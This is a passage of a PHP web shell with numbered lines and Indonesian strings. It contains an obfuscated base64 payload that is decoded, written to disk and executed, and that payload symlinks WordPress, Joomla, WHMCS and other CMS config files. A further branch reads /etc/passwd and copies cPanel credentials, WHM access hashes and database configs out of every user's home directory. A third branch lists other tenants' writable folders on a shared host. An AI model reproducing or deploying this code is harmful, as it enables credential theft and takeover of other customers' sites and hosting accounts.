  629. zLictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycu
  630.  
  631. JHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0Z
  632.  
  633. XNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLy
  634.  
  635. cuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1
  636.  
  637. Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8n
  638.  
  639. LiRzaXRlc3MuJy9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZmlnLnBocCcsJHNpdGVzc
  640.  
  641. y4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3
  642.  
  643. Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCR
  644.  
  645. zaXRlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3
  646.  
  647. L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0a
  648.  
  649. W9ucy9kYmNsYXNzLnBocCcsJHNpdGVzcy4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk7DQpzeW
  650.  
  651. 1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9
  652.  
  653. qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxp
  654.  
  655. bmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbWFpbi9jb
  656.  
  657. 25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCn
  658.  
  659. N5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWU
  660.  
  661. vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmJ
  662.  
  663. +Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRl
  664.  
  665. c3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpd
  666.  
  667. GVzcy4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLn
  668.  
  669. R4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3R
  670.  
  671. zLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRl
  672.  
  673. c3MuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92a
  674.  
  675. G9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYX
  676.  
  677. Rpb24ucGhwJywkc2l0ZXNzLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d
  678.  
  679. 3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24u
  680.  
  681. cGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zd
  682.  
  683. HMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobWNzL2NvbmZpZ3
  684.  
  685. VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbms
  686.  
  687. oJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJh
  688.  
  689. dGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d
  690.  
  691. 3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaX
  692.  
  693. Rlc3MuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBocCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9
  694.  
  695. odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGll
  696.  
  697. bnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJ
  698.  
  699. y9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3
  700.  
  701. MuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N
  702.  
  703. 0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcs
  704.  
  705. JHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92a
  706.  
  707. G9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvemVuY2FydC9pbmNsdWRlcy9kaX
  708.  
  709. N0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3N
  710.  
  711. ob3AudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc21mL1Nl
  712.  
  713. dHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3d
  714.  
  715. y92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maW
  716.  
  717. cucGhwJywkc2l0ZXNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHN
  718.  
  719. pdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZl9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5
  720.  
  721. bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJ
  722.  
  723. y1QSFAtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb2
  724.  
  725. 5maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXI
  726.  
  727. vd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcpIDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29uZmln
  728.  
  729. dXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd
  730.  
  731. 3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy
  732.  
  733. 5waHAnLCRzaXRlc3MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1cHBvcnRzLnR4dCc
  734.  
  735. pOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNz
  736.  
  737. LicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxN
  738.  
  739. y5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1iaWxsaW5ncy
  740.  
  741. 50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXN
  742.  
  743. zLicvaHR0cGRvY3MvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBo
  744.  
  745. cCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4d
  746.  
  747. CcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2
  748.  
  749. hvc3RiaWxsaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9
  750.  
  751. zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRl
  752.  
  753. c3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFza
  754.  
  755. G9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG
  756.  
  757. 9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0
  758.  
  759. Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICJMb2NhdGlvbjogLi9cblxuIjs=";
  760.         $file = "idx_config/vhost.cin";
  761.         $handle = fopen($file ,"w+");
  762.         fwrite($handle ,base64_decode($vhost));
  763.         fclose($handle);
  764.         chmod($file, 0755);
  765.         if(exe("cd idx_config && ./vhost.cin")) {
  766.             echo "<center><a href='$link_config/idx_config'><font color=lime>Done</font></a></center>";
  767.         } else {
  768.             echo "<center><a href='$link_config/idx_config/vhost.cin'><font color=lime>Done</font></a></center>";
  769.         }
  770.  
  771.     } else {
  772.         $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
  773.         while($passwd = fgets($etc)) {
  774.             if($passwd == "" || !$etc) {
  775.                 echo "<font color=red>Can't read /etc/passwd</font>";
  776.             } else {
  777.                 preg_match_all('/(.*?):x:/', $passwd, $user_config);
  778.                 foreach($user_config[1] as $user_idx) {
  779.                     $user_config_dir = "/home/$user_idx/public_html/";
  780.                     if(is_readable($user_config_dir)) {
  781.                         $grab_config = array(
  782.                             "/home/$user_idx/.my.cnf" => "cpanel",
  783.                             "/home/$user_idx/.accesshash" => "WHM-accesshash",
  784.                             "$user_config_dir/po-content/config.php" => "Popoji",
  785.                             "$user_config_dir/vdo_config.php" => "Voodoo",
  786.                             "$user_config_dir/bw-configs/config.ini" => "BosWeb",
  787.                             "$user_config_dir/config/koneksi.php" => "Lokomedia",
  788.                             "$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia",
  789.                             "$user_config_dir/clientarea/configuration.php" => "WHMCS",
  790.                             "$user_config_dir/whm/configuration.php" => "WHMCS",
  791.                             "$user_config_dir/whmcs/configuration.php" => "WHMCS",
  792.                             "$user_config_dir/forum/config.php" => "phpBB",
  793.                             "$user_config_dir/sites/default/settings.php" => "Drupal",
  794.                             "$user_config_dir/config/settings.inc.php" => "PrestaShop",
  795.                             "$user_config_dir/app/etc/local.xml" => "Magento",
  796.                             "$user_config_dir/joomla/configuration.php" => "Joomla",
  797.                             "$user_config_dir/configuration.php" => "Joomla",
  798.                             "$user_config_dir/wp/wp-config.php" => "WordPress",
  799.                             "$user_config_dir/wordpress/wp-config.php" => "WordPress",
  800.                             "$user_config_dir/wp-config.php" => "WordPress",
  801.                             "$user_config_dir/admin/config.php" => "OpenCart",
  802.                             "$user_config_dir/slconfig.php" => "Sitelok",
  803.                             "$user_config_dir/application/config/database.php" => "Ellislab");
  804.                         foreach($grab_config as $config => $nama_config) {
  805.                             $ambil_config = file_get_contents($config);
  806.                             if($ambil_config == '') {
  807.                             } else {
  808.                                 $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
  809.                                 fputs($file_config,$ambil_config);
  810.                             }
  811.                         }
  812.                     }      
  813.                 }
  814.             }  
  815.         }
  816.     echo "<center><a href='?dir=$dir/idx_config'><font color=lime>Done</font></a></center>";
  817.     }
  818. } elseif($_GET['do'] == 'jumping') {
  819.     $i = 0;
  820.     echo "<div class='margin: 5px auto;'>";
  821.     if(preg_match("/hsphere/", $dir)) {
  822.         $urls = explode("\r\n", $_POST['url']);
  823.         if(isset($_POST['jump'])) {
  824.             echo "<pre>";
  825.             foreach($urls as $url) {
  826.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  827.                 $etc = "/etc/passwd";
  828.                 $f = fopen($etc,"r");
  829.                 while($gets = fgets($f)) {
  830.                     $pecah = explode(":", $gets);
  831.                     $user = $pecah[0];
  832.                     $dir_user = "/hsphere/local/home/$user";
  833.                     if(is_dir($dir_user) === true) {
  834.                         $url_user = $dir_user."/".$url;
  835.                         if(is_readable($url_user)) {
  836.                             $i++;
  837.                             $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  838.                             if(is_writable($url_user)) {
  839.                                 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  840.                             }
  841.                             echo $jrw."<br>";
  842.                         }
  843.                     }
  844.                 }
  845.             }
  846.         if($i == 0) {
  847.         } else {
  848.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  849.         }
  850.         echo "</pre>";
  851.         } else {
